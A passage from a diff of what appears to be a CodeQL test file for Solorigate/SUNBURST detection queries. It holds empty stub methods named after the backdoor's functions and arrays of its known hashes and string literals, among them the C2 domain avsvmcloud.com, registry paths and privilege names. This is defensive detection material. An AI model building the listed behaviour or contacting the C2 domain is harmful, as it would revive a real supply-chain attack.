NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetIntArray() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetIPHostEntry() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetManagementObjectProperty() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetNetworkAdapterConfiguration() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetNewOwnerName() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetNextString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetNextStringEx() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetOrCreateUserID() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetOrionImprovementCustomerId() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetOSVersion() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetPreviousString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetProcessByDescription() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetRegistrySubKeyAndValueNames() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetStatus() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetStringHash() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetSubKeyAndValueNames() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetUserAgent() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetValue() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetWebProxy() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void HexStringToByteArray() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Inflate() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Initialize() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void InitiateSystemShutdownExW() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void IsNullOrInvalidName() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void IsSynchronized() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void KillTask() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void LookupPrivilegeValueW() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void OpenProcessToken() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void ParseServiceResponse() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Quote() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void ReadConfig() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void ReadDeviceInfo() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void ReadRegistryValue() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void ReadReportStatus() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void ReadServiceStatus() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void RebootComputer() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void RunTask() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SearchAssemblies() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SearchConfigurations() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SearchServices() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SetAutomaticMode() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SetKeyOwner() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SetKeyOwnerWithPrivileges() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SetKeyPermissions() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SetManualMode() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SetProcessPrivilege() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SetRegistryValue() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SetTime() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SetValue() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void SplitString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void ToString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void TrackEvent() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void TrackProcesses() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Unquote() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Unzip() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Update() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void UpdateBuffer() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void UpdateNotification() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void UploadSystemDescription() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Valid() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void WriteConfig() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void WriteFile() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void WriteReportStatus() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void WriteServiceStatus() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Zip() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] void Hashes() { ulong[] hashes = { // BUG : NumberOfKnownHashesAboveThreshold - 10063651499895178962, 10235971842993272939, 10296494671777307979, - 10336842116636872171, 10374841591685794123, 10393903804869831898, - 10463926208560207521, 10484659978517092504, 10501212300031893463, - 10545868833523019926, 10657751674541025650, 106672141413120087, 10734127004244879770, - 10829648878147112121, 1099511628211, 11073283311104541690, 1109067043404435916, - 11109294216876344399, 11266044540366291518, 11385275378891906608, - 11771945869106552231, 11801746708619571308, 11818825521849580123, - 11913842725949116895, 12027963942392743532, 12094027092655598256, - 12343334044036541897, 12445177985737237804, 12445232961318634374, - 12574535824074203265, 12679195163651834776, 12709986806548166638, - 12718416789200275332, 12785322942775634499, 12790084614253405985, - 12969190449276002545, 13014156621614176974, 13029357933491444455, - 13135068273077306806, 13260224381505715848, 13316211011159594063, - 13464308873961738403, 13544031715334011032, 13581776705111912829, - 13599785766252827703, 13611051401579634621, 13611814135072561278, - 13655261125244647696, 1367627386496056834, 1368907909245890092, 13693525876560827283, - 13783346438774742614, 13799353263187722717, 13825071784440082496, - 13852439084267373191, 13876356431472225791, 14055243717250701608, - 14079676299181301772, 14095938998438966337, 14111374107076822891, - 14193859431895170587, 14226582801651130532, 14243671177281069512, - 14256853800858727521, 14480775929210717493, 14482658293117931546, - 14513577387099045298, 14630721578341374856, 14695981039346656037, - 14710585101020280896, 1475579823244607677, 14868920869169964081, 14968320160131875803, - 14971809093655817917, 15039834196857999838, 15092207615430402812, - 15114163911481793350, 15194901817027173566, 15267980678929160412, - 15457732070353984570, 15514036435533858158, 15535773470978271326, - 15587050164583443069, 155978580751494388, 15695338751700748390, 15997665423159927228, - 16066522799090129502, 16066651430762394116, 16112751343173365533, - 16130138450758310172, 1614465773938842903, 16292685861617888592, 16335643316870329598, - 16423314183614230717, 16570804352575357627, 1682585410644922036, 16858955978146406642, - 16990567851129491937, 17017923349298346219, 17097380490166623672, - 17109238199226571972, 17204844226884380288, 17291806236368054941, - 17351543633914244545, 17439059603042731363, 17574002783607647274, - 17624147599670377042, 17633734304611248415, 17683972236092287897, - 17849680105131524334, 17939405613729073960, 17956969551821596225, - 17978774977754553159, 17984632978012874803, 17997967489723066537, - 18147627057830191163, 18150909006539876521, 18159703063075866524, - 18246404330670877335, 18294908219222222902, 18392881921099771407, - 18446744073709551613, 191060519014405309, 2032008861530788751, 2128122064571842954, - 2147483647, 2147745794, 2380224015317016190, 2478231962306073784, - 2532538262737333146, 2589926981877829912, 2597124982561782591, 2600364143812063535, - 2717025511528702475, 2734787258623754862, 27407921587843457, 2760663353550280147, - 2797129108883749491, 2810460305047003196, 292198192373389586, 2934149816356927366, - 3045986759481489935, 3178468437029279937, 3200333496547938354, 3320026265773918739, - 3320767229281015341, 3341747963119755850, 3407972863931386250, 3413052607651207697, - 3413886037471417852, 3421197789791424393, 3421213182954201407, 3425260965299690882, - 3538022140597504361, 3575761800716667678, 3588624367609827560, 3626142665768487764, - 3642525650883269872, 3656637464651387014, 3660705254426876796, 3769837838875367802, - 3778500091710709090, 3796405623695665524, 3869935012404164040, 3890769468012566366, - 3890794756780010537, 397780960855462669, 4030236413975199654, 4088976323439621041, - 4454255944391929578, 4501656691368064027, 4578480846255629462, 4821863173800309721, - 4931721628717906635, 506634811745884560, 5132256620104998637, 5183687599225757871, - 521157249538507889, 5219431737322569038, 541172992193764396, 5415426428750045503, - 5449730069165757263, 5587557070429522647, 5614586596107908838, 576626207276463000, - 5942282052525294911, 5945487981219695001, 5984963105389676759, 607197993339007484, - 6088115528707848728, 6116246686670134098, 6180361713414290679, 6195833633417633900, - 6274014997237900919, 640589622539783622, 6461429591783621719, 6491986958834001955, - 6508141243778577344, 6605813339339102567, 682250828679635420, 6827032273910657891, - 6943102301517884811, 700598796416086955, 7080175711202577138, 7175363135479931834, - 7315838824213522000, 7412338704062093516, 7516148236133302073, 7574774749059321801, - 7701683279824397773, 7775177810774851294, 7810436520414958497, 7878537243757499832, - 79089792725215063, 7982848972385914508, 8052533790968282297, 8129411991672431889, - 8146185202538899243, 835151375515278827, 8381292265993977266, 8408095252303317471, - 8473756179280619170, 8478833628889826985, 8612208440357175863, 8697424601205169055, - 8698326794961817906, 8709004393777297355, 8727477769544302060, 8760312338504300643, - 8799118153397725683, 8873858923435176895, 8994091295115840290, 9007106680104765185, - 9061219083560670602, 9149947745824492274, 917638920165491138, 9234894663364701749, - 9333057603143916814, 9384605490088500348, 9531326785919727076, 9555688264681862794, - 9559632696372799208, 9903758755917170407 + 10063651499895178962, 10235971842993272939, 10296494671777307979, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 10336842116636872171, 10374841591685794123, 10393903804869831898, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 10463926208560207521, 10484659978517092504, 10501212300031893463, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 10545868833523019926, 10657751674541025650, 106672141413120087, 10734127004244879770, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 10829648878147112121, 1099511628211, 11073283311104541690, 1109067043404435916, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 11109294216876344399, 11266044540366291518, 11385275378891906608, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 11771945869106552231, 11801746708619571308, 11818825521849580123, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 11913842725949116895, 12027963942392743532, 12094027092655598256, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 12343334044036541897, 12445177985737237804, 12445232961318634374, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 12574535824074203265, 12679195163651834776, 12709986806548166638, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 12718416789200275332, 12785322942775634499, 12790084614253405985, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 12969190449276002545, 13014156621614176974, 13029357933491444455, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 13135068273077306806, 13260224381505715848, 13316211011159594063, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 13464308873961738403, 13544031715334011032, 13581776705111912829, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 13599785766252827703, 13611051401579634621, 13611814135072561278, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 13655261125244647696, 1367627386496056834, 1368907909245890092, 13693525876560827283, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 13783346438774742614, 13799353263187722717, 13825071784440082496, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 13852439084267373191, 13876356431472225791, 14055243717250701608, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 14079676299181301772, 14095938998438966337, 14111374107076822891, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 14193859431895170587, 14226582801651130532, 14243671177281069512, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 14256853800858727521, 14480775929210717493, 14482658293117931546, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 14513577387099045298, 14630721578341374856, 14695981039346656037, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 14710585101020280896, 1475579823244607677, 14868920869169964081, 14968320160131875803, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 14971809093655817917, 15039834196857999838, 15092207615430402812, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 15114163911481793350, 15194901817027173566, 15267980678929160412, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 15457732070353984570, 15514036435533858158, 15535773470978271326, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 15587050164583443069, 155978580751494388, 15695338751700748390, 15997665423159927228, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 16066522799090129502, 16066651430762394116, 16112751343173365533, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 16130138450758310172, 1614465773938842903, 16292685861617888592, 16335643316870329598, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 16423314183614230717, 16570804352575357627, 1682585410644922036, 16858955978146406642, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 16990567851129491937, 17017923349298346219, 17097380490166623672, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 17109238199226571972, 17204844226884380288, 17291806236368054941, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 17351543633914244545, 17439059603042731363, 17574002783607647274, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 17624147599670377042, 17633734304611248415, 17683972236092287897, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 17849680105131524334, 17939405613729073960, 17956969551821596225, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 17978774977754553159, 17984632978012874803, 17997967489723066537, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 18147627057830191163, 18150909006539876521, 18159703063075866524, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 18246404330670877335, 18294908219222222902, 18392881921099771407, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 18446744073709551613, 191060519014405309, 2032008861530788751, 2128122064571842954, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 2147483647, 2147745794, 2380224015317016190, 2478231962306073784, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 2532538262737333146, 2589926981877829912, 2597124982561782591, 2600364143812063535, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 2717025511528702475, 2734787258623754862, 27407921587843457, 2760663353550280147, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 2797129108883749491, 2810460305047003196, 292198192373389586, 2934149816356927366, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 3045986759481489935, 3178468437029279937, 3200333496547938354, 3320026265773918739, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 3320767229281015341, 3341747963119755850, 3407972863931386250, 3413052607651207697, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 3413886037471417852, 3421197789791424393, 3421213182954201407, 3425260965299690882, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 3538022140597504361, 3575761800716667678, 3588624367609827560, 3626142665768487764, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 3642525650883269872, 3656637464651387014, 3660705254426876796, 3769837838875367802, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 3778500091710709090, 3796405623695665524, 3869935012404164040, 3890769468012566366, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 3890794756780010537, 397780960855462669, 4030236413975199654, 4088976323439621041, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 4454255944391929578, 4501656691368064027, 4578480846255629462, 4821863173800309721, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 4931721628717906635, 506634811745884560, 5132256620104998637, 5183687599225757871, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 521157249538507889, 5219431737322569038, 541172992193764396, 5415426428750045503, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 5449730069165757263, 5587557070429522647, 5614586596107908838, 576626207276463000, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 5942282052525294911, 5945487981219695001, 5984963105389676759, 607197993339007484, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 6088115528707848728, 6116246686670134098, 6180361713414290679, 6195833633417633900, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 6274014997237900919, 640589622539783622, 6461429591783621719, 6491986958834001955, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 6508141243778577344, 6605813339339102567, 682250828679635420, 6827032273910657891, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 6943102301517884811, 700598796416086955, 7080175711202577138, 7175363135479931834, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 7315838824213522000, 7412338704062093516, 7516148236133302073, 7574774749059321801, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 7701683279824397773, 7775177810774851294, 7810436520414958497, 7878537243757499832, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 79089792725215063, 7982848972385914508, 8052533790968282297, 8129411991672431889, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 8146185202538899243, 835151375515278827, 8381292265993977266, 8408095252303317471, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 8473756179280619170, 8478833628889826985, 8612208440357175863, 8697424601205169055, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 8698326794961817906, 8709004393777297355, 8727477769544302060, 8760312338504300643, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 8799118153397725683, 8873858923435176895, 8994091295115840290, 9007106680104765185, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 9061219083560670602, 9149947745824492274, 917638920165491138, 9234894663364701749, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 9333057603143916814, 9384605490088500348, 9531326785919727076, 9555688264681862794, // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] + 9559632696372799208, 9903758755917170407 // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] }; } void Literals() { string[] literals = { // BUG : NumberOfKnownLiteralsAboveThreshold - "(?i)([^a-z]|^)(test)([^a-z]|$)", "(?i)(solarwinds)", "[{0,5}] {1,-16} {2}\t{3,5} {4}\\{5}\n", - "[{0,5}] {1}\n", "[E] {0} {1} {2}", - "\"\\{[0-9a-f-]{36}\\}\"|\"[0-9a-f]{32}\"|\"[0-9a-f]{16}\"", ".CortexPlugin", ".Orion", - "\"EventName\":\"EventManager\",", "\"EventType\":\"Orion\",", - "\\OrionImprovement\\SolarWinds.OrionImprovement.exe", - "0123456789abcdefghijklmnopqrstuvwxyz-_.", "\"sessionId\":\"{0}\",", "\"steps\":[", - "\"Succeeded\":true,", "\"Timestamp\":\"\\/Date({0})\\/\",", "\"userId\":\"{0}\",", - "{0} {1} HTTP/{2}\n", "10140", "144.86.226.0", "154.118.140.0", "172.16.0.0", "18.130.0.0", - "184.72.0.0", "192.168.0.0", "199.201.117.0", "20.140.0.0", "20100", "20220", "217.163.7.0", - "224.0.0.0", "240.0.0.0", "255.240.0.0", "255.254.0.0", "255.255.248.0", "3.0.0.382", - "41.84.159.0", "43140", "4320", "43260", "524287", "583da945-62af-10e8-4902-a8f205c72b2e", - "65280", "71.152.53.0", "74.114.24.0", "8.18.144.0", "87.238.80.0", "96.31.172.0", "983040", - "99.79.0.0", "Administrator", "advapi32.dll", "Apollo", "appsync-api", "avsvmcloud.com", - "api.solarwinds.com", "-root", "-cert", "-universal_ca", "-ca", "-primary_ca", "-timestamp", - "-global", "-secureca", "CloudMonitoring", "MACAddress", "DHCPEnabled", "DHCPServer", - "DNSHostName", "DNSDomainSuffixSearchOrder", "DNSServerSearchOrder", "IPAddress", "IPSubnet", - "DefaultIPGateway", "OSArchitecture", "InstallDate", "Organization", "RegisteredUser", - "fc00::", "fe00::", "fec0::", "ffc0::", "ff00::", "HKCC", "HKCR", "HKCU", "HKDD", - "HKEY_CLASSES_ROOT", "HKEY_CURRENT_CONFIG", "HKEY_CURRENT_USER", "HKEY_DYN_DATA", - "HKEY_LOCAL_MACHINE", "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography", - "HKEY_PERFOMANCE_DATA", "HKEY_USERS", "HKLM", "HKPD", "HKU", "If-None-Match", - "Microsoft-CryptoAPI/", "Nodes", "Volumes", "Interfaces", "Components", "opensans", - "Organization", "OSArchitecture", "ParentProcessID", "PathName", "ReportWatcherPostpone", - "ReportWatcherRetry", "S-1-5-", "SeRestorePrivilege", "SeShutdownPrivilege", - "SeTakeOwnershipPrivilege", "SolarWinds", "SolarWindsOrionImprovementClient/", - "SourceCodePro", "SourceHanSans", "SourceHanSerif", "SourceSerifPro", "Start", "swip/Events", - "swip/upd/", "swip/Upload.ashx", "SYSTEM", "SYSTEM\\CurrentControlSet\\services", "us-east-1", - "us-east-2", "us-west-2", "fonts/woff/{0}-{1}-{2}{3}.woff2", - "fonts/woff/{0}-{1}-{2}-webfont{3}.woff2", "ph2eifo3n5utg1j8d94qrvbmk0sal76c", - "pki/crl/{0}{1}{2}.crl", "rq3gsalt6u1iyfzop572d49bnx8cvmkewhj", - "Select * From Win32_NetworkAdapterConfiguration where IPEnabled=true", - "Select * From Win32_OperatingSystem", "Select * From Win32_Process", - "Select * From Win32_SystemDriver", "Select * From Win32_UserAccount" + "(?i)([^a-z]|^)(test)([^a-z]|$)", "(?i)(solarwinds)", "[{0,5}] {1,-16} {2}\t{3,5} {4}\\{5}\n", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "[{0,5}] {1}\n", "[E] {0} {1} {2}", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "\"\\{[0-9a-f-]{36}\\}\"|\"[0-9a-f]{32}\"|\"[0-9a-f]{16}\"", ".CortexPlugin", ".Orion", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "\"EventName\":\"EventManager\",", "\"EventType\":\"Orion\",", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "\\OrionImprovement\\SolarWinds.OrionImprovement.exe", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "0123456789abcdefghijklmnopqrstuvwxyz-_.", "\"sessionId\":\"{0}\",", "\"steps\":[", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "\"Succeeded\":true,", "\"Timestamp\":\"\\/Date({0})\\/\",", "\"userId\":\"{0}\",", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "{0} {1} HTTP/{2}\n", "10140", "144.86.226.0", "154.118.140.0", "172.16.0.0", "18.130.0.0", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "184.72.0.0", "192.168.0.0", "199.201.117.0", "20.140.0.0", "20100", "20220", "217.163.7.0", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "224.0.0.0", "240.0.0.0", "255.240.0.0", "255.254.0.0", "255.255.248.0", "3.0.0.382", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "41.84.159.0", "43140", "4320", "43260", "524287", "583da945-62af-10e8-4902-a8f205c72b2e", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "65280", "71.152.53.0", "74.114.24.0", "8.18.144.0", "87.238.80.0", "96.31.172.0", "983040", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "99.79.0.0", "Administrator", "advapi32.dll", "Apollo", "appsync-api", "avsvmcloud.com", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "api.solarwinds.com", "-root", "-cert", "-universal_ca", "-ca", "-primary_ca", "-timestamp", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "-global", "-secureca", "CloudMonitoring", "MACAddress", "DHCPEnabled", "DHCPServer", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "DNSHostName", "DNSDomainSuffixSearchOrder", "DNSServerSearchOrder", "IPAddress", "IPSubnet", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "DefaultIPGateway", "OSArchitecture", "InstallDate", "Organization", "RegisteredUser", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "fc00::", "fe00::", "fec0::", "ffc0::", "ff00::", "HKCC", "HKCR", "HKCU", "HKDD", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "HKEY_CLASSES_ROOT", "HKEY_CURRENT_CONFIG", "HKEY_CURRENT_USER", "HKEY_DYN_DATA", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "HKEY_LOCAL_MACHINE", "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "HKEY_PERFOMANCE_DATA", "HKEY_USERS", "HKLM", "HKPD", "HKU", "If-None-Match", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "Microsoft-CryptoAPI/", "Nodes", "Volumes", "Interfaces", "Components", "opensans", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "Organization", "OSArchitecture", "ParentProcessID", "PathName", "ReportWatcherPostpone", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "ReportWatcherRetry", "S-1-5-", "SeRestorePrivilege", "SeShutdownPrivilege", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "SeTakeOwnershipPrivilege", "SolarWinds", "SolarWindsOrionImprovementClient/", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "SourceCodePro", "SourceHanSans", "SourceHanSerif", "SourceSerifPro", "Start", "swip/Events", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] 